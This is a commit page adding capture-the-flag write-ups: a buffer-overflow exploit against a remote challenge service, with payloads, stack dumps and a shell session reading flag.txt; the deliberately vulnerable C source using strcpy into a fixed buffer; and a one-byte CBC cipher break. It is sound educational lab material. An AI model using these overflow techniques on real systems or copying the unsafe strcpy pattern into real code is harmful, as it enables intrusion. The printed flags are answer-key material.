-
Notifications
You must be signed in to change notification settings - Fork 9
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
269 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,154 @@ | ||
# Arturo Brachetti - Points: 50 | ||
|
||
### Description: | ||
|
||
Connect to server with nc challenge.acictf.com 13996. Exploit the service. Read the contents of flag.txt on the server. You can find the source code [here](src/arturo.c) | ||
|
||
### Hints | ||
|
||
- Have you heard of buffer overflows? | ||
- Change the value of win to get a shell | ||
|
||
### Solution | ||
|
||
Let's just hit this thing with a bunch of `A`s and see what happens. | ||
|
||
shombo$ python -c "print 'A' * 512" | nc challenge.acictf.com 13996 | ||
You need to set win to 48337977 | ||
Enter your string: 0xffe6b8fc: 08048705 (esp) | ||
0xffe6b8f8: ffe6b958 | ||
0xffe6b8fc: 08048705 | ||
0xffe6b900: ffe6b910 | ||
0xffe6b904: 00000017 | ||
0xffe6b908: ffe6b960 | ||
0xffe6b90c: f75f96bd | ||
0xffe6b910: 41414141 | ||
0xffe6b914: 41414141 | ||
0xffe6b918: 41414141 | ||
0xffe6b91c: 41414141 | ||
0xffe6b920: 41414141 | ||
0xffe6b924: 41414141 | ||
0xffe6b928: 41414141 | ||
0xffe6b92c: 41414141 | ||
0xffe6b930: 41414141 | ||
0xffe6b934: 41414141 | ||
0xffe6b938: 41414141 | ||
0xffe6b93c: 41414141 | ||
0xffe6b940: 41414141 | ||
0xffe6b944: 41414141 | ||
0xffe6b948: 41414141 | ||
0xffe6b94c: 41414141 | ||
0xffe6b950: 41414141 | ||
0xffe6b954: 41414141 | ||
0xffe6b958: 41414141 | ||
0xffe6b95c: 41414141 (ebp) | ||
0xffe6b960: 41414141 (ret) | ||
0xffe6b964: 41414141 (win) | ||
win value (hex) = 41414141 | ||
Sorry, you lose. | ||
|
||
Alrighty... Now lets use some good ole binary search to derive the size of padding we need to send (we could look at the source, but why would we? This literally takes a second). | ||
|
||
shombo$ python -c "print 'A' * 80" | nc challenge.acictf.com 13996 | ||
You need to set win to 48337977 | ||
Enter your string: 0xffbf150c: 08048705 (esp) | ||
0xffbf1508: ffbf1568 | ||
0xffbf150c: 08048705 | ||
0xffbf1510: ffbf1520 | ||
0xffbf1514: 00000017 | ||
0xffbf1518: ffbf1570 | ||
0xffbf151c: f75b86bd | ||
0xffbf1520: 41414141 | ||
0xffbf1524: 41414141 | ||
0xffbf1528: 41414141 | ||
0xffbf152c: 41414141 | ||
0xffbf1530: 41414141 | ||
0xffbf1534: 41414141 | ||
0xffbf1538: 41414141 | ||
0xffbf153c: 41414141 | ||
0xffbf1540: 41414141 | ||
0xffbf1544: 41414141 | ||
0xffbf1548: 41414141 | ||
0xffbf154c: 41414141 | ||
0xffbf1550: 41414141 | ||
0xffbf1554: 41414141 | ||
0xffbf1558: 41414141 | ||
0xffbf155c: 41414141 | ||
0xffbf1560: 41414141 | ||
0xffbf1564: 41414141 | ||
0xffbf1568: 41414141 | ||
0xffbf156c: 41414141 (ebp) | ||
0xffbf1570: 41414141 (ret) | ||
0xffbf1574: 00000000 (win) | ||
win value (hex) = 0 | ||
Sorry, you lose. | ||
|
||
Right on.. now we just have to get `win` to have the value of `48337977`. I'm just going to assume that is hex, and go ahead and decode it since it appears to be in the ascii range (this will make sending the payload easier): | ||
|
||
>>> '48337977'.decode('hex') | ||
'H3yw' | ||
|
||
|
||
shombo$ python -c "print 'A' * 80 + 'H3yw"[::-1] | nc challenge.acictf.com 13996 | ||
You need to set win to 48337977 | ||
Enter your string: 0xffbf150c: 08048705 (esp) | ||
0xffbf1508: ffbf1568 | ||
0xffbf150c: 08048705 | ||
0xffbf1510: ffbf1520 | ||
0xffbf1514: 00000017 | ||
0xffbf1518: ffbf1570 | ||
0xffbf151c: f75b86bd | ||
0xffbf1520: 41414141 | ||
0xffbf1524: 41414141 | ||
0xffbf1528: 41414141 | ||
0xffbf152c: 41414141 | ||
0xffbf1530: 41414141 | ||
0xffbf1534: 41414141 | ||
0xffbf1538: 41414141 | ||
0xffbf153c: 41414141 | ||
0xffbf1540: 41414141 | ||
0xffbf1544: 41414141 | ||
0xffbf1548: 41414141 | ||
0xffbf154c: 41414141 | ||
0xffbf1550: 41414141 | ||
0xffbf1554: 41414141 | ||
0xffbf1558: 41414141 | ||
0xffbf155c: 41414141 | ||
0xffbf1560: 41414141 | ||
0xffbf1564: 41414141 | ||
0xffbf1568: 41414141 | ||
0xffbf156c: 41414141 (ebp) | ||
0xffbf1570: 41414141 (ret) | ||
0xffbf1574: 00000000 (win) | ||
win value (hex) = 0 | ||
Sorry, you lose. | ||
|
||
Great. Don't forget to take endianness into account. | ||
|
||
shombo$ python -c "print 'A' * 80 + 'H3yw'[::-1] "| nc challenge.acictf.com 13996 | ||
You need to set win to 48337977 | ||
Enter your string: | ||
shombo$ | ||
|
||
Hey! What gives! Where's my shell! | ||
|
||
Well, when you send the string like this, you also send an implicit EOF that will close your shell and therefore your socket which is why you see it just die. | ||
|
||
So, instead, let's just send the payload interactively: | ||
|
||
shombo$ nc challenge.acictf.com 13996 | ||
You need to set win to 48337977 | ||
Enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwy3H | ||
ls | ||
arturo | ||
flag.txt | ||
xinet_startup.sh | ||
cat flag.txt | ||
ACI{remote_code_execution_is_best_execution_26f12d80} | ||
exit | ||
|
||
And there it is. | ||
|
||
|
||
### Flag: `ACI{remote_code_execution_is_best_execution_26f12d80}` | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
#include <sys/types.h> | ||
#include "dump_stack.h" | ||
|
||
void vuln(int win, char *str) { | ||
char buf[64]; | ||
strcpy(buf, str); | ||
dump_stack((void **) buf, 23, (void **) &win); | ||
printf("win value (hex) = %x\n", win); | ||
if (win == 1211332983) { | ||
execl("/bin/sh", "sh", NULL); | ||
} else { | ||
printf("Sorry, you lose.\n"); | ||
} | ||
exit(0); | ||
} | ||
|
||
int main(int argc, char **argv) { | ||
|
||
char guess[100] = { 0 }; | ||
int buffer_size = 1211332983; | ||
printf("You need to set win to %X\n", buffer_size); | ||
printf("Enter your string: "); | ||
fflush(stdout); | ||
fgets(guess,100,stdin); | ||
int len = strlen(guess); | ||
guess[len-1] = 0; | ||
|
||
uid_t euid = geteuid(); | ||
setresuid(euid, euid, euid); | ||
vuln(0, guess); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
# Byte Sized CBC - Points: 50 | ||
|
||
### Description: | ||
|
||
Break the CBC 'encryption' scheme running at challenge.acictf.com:1751. The author is so confident that they will just hand you the key upon connection. | ||
|
||
### Hints | ||
|
||
- Cipher Block Chaining ties the output of each block's 'encryption' to the next block. | ||
- How many different IVs could there be if a block is only one byte long? | ||
- What if the 'block cipher' [link](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#/media/File:CBC_encryption.svg) doesn't do anything? | ||
|
||
### Solution | ||
|
||
There are lots of good diagrams of CBC mode out there. Generally, this is a mode of a particular encryption scheme. Generally, this type of encryption must be a multiple of a specified `block size` (if the message isn't, it will be padded with junk data so that it is). Then, for each `block`, the result of the previous encryption block will be XORed with the plain text block prior to that XORed chunk being put through some encrpytion scheme (this step usually takes in some key). Once that step is complete, you now have an encrypted block and serves as part of the encrypted outpput and an input to the next next round. On the very first round, there obviously has not been a previous round so, therefore, you don't have that special value to XOR your plain text with prior to the encryption step. Instead of using the output from the previous step, you just give it a special number instead knows as the `initialization vector`. | ||
|
||
If this sounds complicated, just google a picture. | ||
|
||
But since you need an `initialization vector` to kick eveything off, and every next round is a product of the previous round, the `initialization vector`, or `iv`, is pretty crucial in being able to recover an encrypted message. | ||
|
||
Luckily, in this particular challenge, we are only dealing with a block size of a single byte. Also, since no encryption scheme was specified, and I'm too lazy to try to guess one. so I am going to assume that they jsut didn't use one. | ||
|
||
What does this mean? | ||
|
||
This means that the first letter of the flag was XORed with some IV. Then, the resulting character was emitted, but also used as the key for the next round. | ||
|
||
Assuming this is true, it should be somewhat trivial to recover what the `key` for each round was since XOR is an invertable operation. (A ^ B = C, A ^ C == B) | ||
|
||
Finally firing up the challenge: | ||
|
||
shombo$ nc challenge.acictf.com 1751 | ||
Welcome to the Byte Sized CBC Challenge! | ||
Your Encrypted Flag (in Base64): rO+m3b6I7N3t3O6L6tO1hbDTsNHp3+yIvd7ujezfvsPJ | ||
|
||
An important note here is that the data is given in base64. That simply means that the raw bytes you ought to be dealing with have been encoded into a format that transmitter easier. | ||
|
||
|
||
shombo$ python | ||
Python 2.7.15 (default, Jun 17 2018, 12:46:58) | ||
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)] on darwin | ||
Type "help", "copyright", "credits" or "license" for more information. | ||
>>> import base64 | ||
>>> base64.b64decode('rO+m3b6I7N3t3O6L6tO1hbDTsNHp3+yIvd7ujezfvsPJ') | ||
'\xac\xef\xa6\xdd\xbe\x88\xec\xdd\xed\xdc\xee\x8b\xea\xd3\xb5\x85\xb0\xd3\xb0\xd1\xe9\xdf\xec\x88\xbd\xde\xee\x8d\xec\xdf\xbe\xc3\xc9' | ||
|
||
|
||
At this point, it is really important to understand that we need to _reverse_ this encrypted message -- we won't be able to generate it in the forward direction easily. I suppose we could brute force every byte, but that sounds hard. Let's do it the easy way... *backwards*! | ||
|
||
Why do it backwards? | ||
|
||
Well, we know what the result of a given round is... its whatever the byte at the position is. We also know what it was XORed with -- it was whatever the preceding byte is. If we XOR those two things together, we should the third piece of the equation remainging -- the plaintext.We only don't know what the very first byte was XORed with, but we also don't care since we're 98% sure it was an `A`. | ||
|
||
Let's put this theory to the test. | ||
|
||
The last encrypted character is `\xc9` and the previous character is `\xc3`. | ||
|
||
>>> chr(0xc3 ^ 0xc9) | ||
'\n' | ||
|
||
Hmm.. ok.. | ||
|
||
Let's keep going.. the next encrypted character back is `\xbe`. So, let's XOR that with the current encrypted char (`\xc3`): | ||
|
||
>>> chr(0xbe ^ 0xc3) | ||
'}' | ||
|
||
Oh boy.. that looks like the end of the flag! | ||
|
||
Let's script it up and see what we get... | ||
|
||
>>> flag = base64.b64decode('rO+m3b6I7N3t3O6L6tO1hbDTsNHp3+yIvd7ujezfvsPJ') | ||
>>> print ''.join([chr(ord(flag[x]) ^ ord(flag[x-1])) for x in range(len(flag)-1,0,-1)])[::-1] | ||
CI{c6d1012ea9f05cca863d5c0ca3a} | ||
|
||
We skipped the first letter since we didn't know what to XOR it with, but it pretty clearly looks like its supposed to be an `A`. | ||
|
||
|
||
### Flag: `ACI{c6d1012ea9f05cca863d5c0ca3a}` | ||
|